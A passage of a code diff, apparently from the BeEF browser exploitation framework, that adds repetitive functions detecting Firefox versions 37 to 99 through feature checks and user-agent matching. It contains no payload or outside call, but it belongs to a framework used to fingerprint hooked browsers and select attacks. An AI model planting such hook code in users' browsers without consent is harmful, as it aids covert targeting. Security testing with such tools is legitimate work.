+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
+    },
+
+    /**
+     * Returns true if FF38
+     * @example: beef.browser.isFF38()
+     */
+    isFF38: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
+    },
+
+    /**
+     * Returns true if FF39
+     * @example: beef.browser.isFF39()
+     */
+    isFF39: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
+    },
+
+    /**
+     * Returns true if FF40
+     * @example: beef.browser.isFF40()
+     */
+    isFF40: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
+    },
+
+    /**
+     * Returns true if FF41
+     * @example: beef.browser.isFF41()
+     */
+    isFF41: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
+    },
+
+    /**
+     * Returns true if FF42
+     * @example: beef.browser.isFF42()
+     */
+    isFF42: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
+    },
+
+    /**
+     * Returns true if FF43
+     * @example: beef.browser.isFF43()
+     */
+    isFF43: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
+    },
+
+    /**
+     * Returns true if FF44
+     * @example: beef.browser.isFF44()
+     */
+    isFF44: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
+    },
+
+    /**
+     * Returns true if FF45
+     * @example: beef.browser.isFF45()
+     */
+    isFF45: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
+    },
+
+    /**
+     * Returns true if FF46
+     * @example: beef.browser.isFF46()
+     */
+    isFF46: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
+    },
+
+    /**
+     * Returns true if FF47
+     * @example: beef.browser.isFF47()
+     */
+    isFF47: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
+    },
+
+    /**
+     * Returns true if FF48
+     * @example: beef.browser.isFF48()
+     */
+    isFF48: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
+    },
+
+    /**
+     * Returns true if FF49
+     * @example: beef.browser.isFF49()
+     */
+    isFF49: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
+    },
+
+    /**
+     * Returns true if FF50
+     * @example: beef.browser.isFF50()
+     */
+    isFF50: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
+    },
+
+    /**
+     * Returns true if FF51
+     * @example: beef.browser.isFF51()
+     */
+    isFF51: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
+    },
+
+    /**
+     * Returns true if FF52
+     * @example: beef.browser.isFF52()
+     */
+    isFF52: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
+    },
+
+    /**
+     * Returns true if FF53
+     * @example: beef.browser.isFF53()
+     */
+    isFF53: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
+    },
+
+    /**
+     * Returns true if FF54
+     * @example: beef.browser.isFF54()
+     */
+    isFF54: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null;
+    },
+
+    /**
+     * Returns true if FF55
+     * @example: beef.browser.isFF55()
+     */
+    isFF55: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null;
+    },
+
+    /**
+     * Returns true if FF56
+     * @example: beef.browser.isFF56()
+     */
+    isFF56: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null;
+    },
+
+    /**
+     * Returns true if FF57
+     * @example: beef.browser.isFF57()
+     */
+    isFF57: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null;
+    },
+    
+    /**
+     * Returns true if FF58
+     * @example: beef.browser.isFF58()
+     */
+    isFF58: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null;
+    },
+
+    /**
+     * Returns true if FF59
+     * @example: beef.browser.isFF59()
+     */
+    isFF59: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/59./) != null;
+    },
+
+    /**
+     * Returns true if FF60
+     * @example: beef.browser.isFF60()
+     */
+    isFF60: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/60./) != null;
+    },
+
+    /**
+     * Returns true if FF61
+     * @example: beef.browser.isFF61()
+     */
+    isFF61: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/61./) != null;
+    },
+
+    /**
+     * Returns true if FF62
+     * @example: beef.browser.isFF62()
+     */
+    isFF62: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/62./) != null;
+    },
+
+    /**
+     * Returns true if FF63
+     * @example: beef.browser.isFF63()
+     */
+    isFF63: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/63./) != null;
+    },
+
+    /**
+     * Returns true if FF64
+     * @example: beef.browser.isFF64()
+     */
+    isFF64: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/64./) != null;
+    },
+
+    /**
+     * Returns true if FF65
+     * @example: beef.browser.isFF65()
+     */
+    isFF65: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/65./) != null;
+    },
+
+    /**
+     * Returns true if FF66
+     * @example: beef.browser.isFF66()
+     */
+    isFF66: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/66./) != null;
+    },
+
+    /**
+     * Returns true if FF67
+     * @example: beef.browser.isFF67()
+     */
+    isFF67: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/67./) != null;
+    },
+
+    /**
+     * Returns true if FF68
+     * @example: beef.browser.isFF68()
+     */
+    isFF68: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/68./) != null;
+    },
+
+    /**
+     * Returns true if FF69
+     * @example: beef.browser.isFF69()
+     */
+    isFF69: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/69./) != null;
+    },
+
+    /**
+     * Returns true if FF70
+     * @example: beef.browser.isFF70()
+     */
+    isFF70: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/70./) != null;
+    },
+
+    /**
+     * Returns true if FF71
+     * @example: beef.browser.isFF71()
+     */
+    isFF71: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/71./) != null;
+    },
+
+    /**
+     * Returns true if FF72
+     * @example: beef.browser.isFF72()
+     */
+    isFF72: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/72./) != null;
+    },
+
+    /**
+     * Returns true if FF73
+     * @example: beef.browser.isFF73()
+     */
+    isFF73: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/73./) != null;
+    },
+
+    /**
+     * Returns true if FF74
+     * @example: beef.browser.isFF74()
+     */
+    isFF74: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/74./) != null;
+    },
+
+    /**
+     * Returns true if FF75
+     * @example: beef.browser.isFF75()
+     */
+    isFF75: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/75./) != null;
+    },
+
+    /**
+     * Returns true if FF76
+     * @example: beef.browser.isFF76()
+     */
+    isFF76: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/76./) != null;
+    },
+
+    /**
+     * Returns true if FF77
+     * @example: beef.browser.isFF77()
+     */
+    isFF77: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/77./) != null;
+    },
+
+    /**
+     * Returns true if FF78
+     * @example: beef.browser.isFF78()
+     */
+    isFF78: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/78./) != null;
+    },
+
+    /**
+     * Returns true if FF79
+     * @example: beef.browser.isFF79()
+     */
+    isFF79: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/79./) != null;
+    },
+
+    /**
+     * Returns true if FF80
+     * @example: beef.browser.isFF80()
+     */
+    isFF80: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/80./) != null;
+    },
+
+    /**
+     * Returns true if FF81
+     * @example: beef.browser.isFF81()
+     */
+    isFF81: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/81./) != null;
+    },
+
+    /**
+     * Returns true if FF82
+     * @example: beef.browser.isFF82()
+     */
+    isFF82: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/82./) != null;
+    },
+
+    /**
+     * Returns true if FF83
+     * @example: beef.browser.isFF83()
+     */
+    isFF83: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/83./) != null;
+    },
+
+    /**
+     * Returns true if FF84
+     * @example: beef.browser.isFF84()
+     */
+    isFF84: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/84./) != null;
+    },
+
+    /**
+     * Returns true if FF85
+     * @example: beef.browser.isFF85()
+     */
+    isFF85: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/85./) != null;
+    },
+
+    /**
+     * Returns true if FF86
+     * @example: beef.browser.isFF86()
+     */
+    isFF86: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/86./) != null;
+    },
+
+    /**
+     * Returns true if FF87
+     * @example: beef.browser.isFF87()
+     */
+    isFF87: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/87./) != null;
+    },
+
+    /**
+     * Returns true if FF88
+     * @example: beef.browser.isFF88()
+     */
+    isFF88: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/88./) != null;
+    },
+
+    /**
+     * Returns true if FF89
+     * @example: beef.browser.isFF89()
+     */
+    isFF89: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
+    },
+
+    /**
+     * Returns true if FF90
+     * @example: beef.browser.isFF90()
+     */
+    isFF90: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
+    },
+
+    /**
+     * Returns true if FF91
+     * @example: beef.browser.isFF91()
+     */
+    isFF91: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
+    },
+
+    /**
+     * Returns true if FF92
+     * @example: beef.browser.isFF92()
+     */
+    isFF92: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
+    },
+
+    /**
+     * Returns true if FF93
+     * @example: beef.browser.isFF93()
+     */
+    isFF93: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
+    },
+
+    /**
+     * Returns true if FF94
+     * @example: beef.browser.isFF94()
+     */
+    isFF94: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
+    },
+
+    /**
+     * Returns true if FF95
+     * @example: beef.browser.isFF95()
+     */
+    isFF95: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
+    },
+
+    /**
+     * Returns true if FF96
+     * @example: beef.browser.isFF96()
+     */
+    isFF96: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
+    },
+
+    /**
+     * Returns true if FF97
+     * @example: beef.browser.isFF97()
+     */
+    isFF97: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
+    },
+
+    /**
+     * Returns true if FF98
+     * @example: beef.browser.isFF98()
+     */
+    isFF98: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
+    },
+
+    /**
+     * Returns true if FF99
+     * @example: beef.browser.isFF99()
+     */
+    isFF99: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
+    },
+
+    /**
+     * Returns true if FF.
+     * @example: beef.browser.isFF()
+     */
+    isFF: function () {
+        return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99();
+    },
+
+    /**
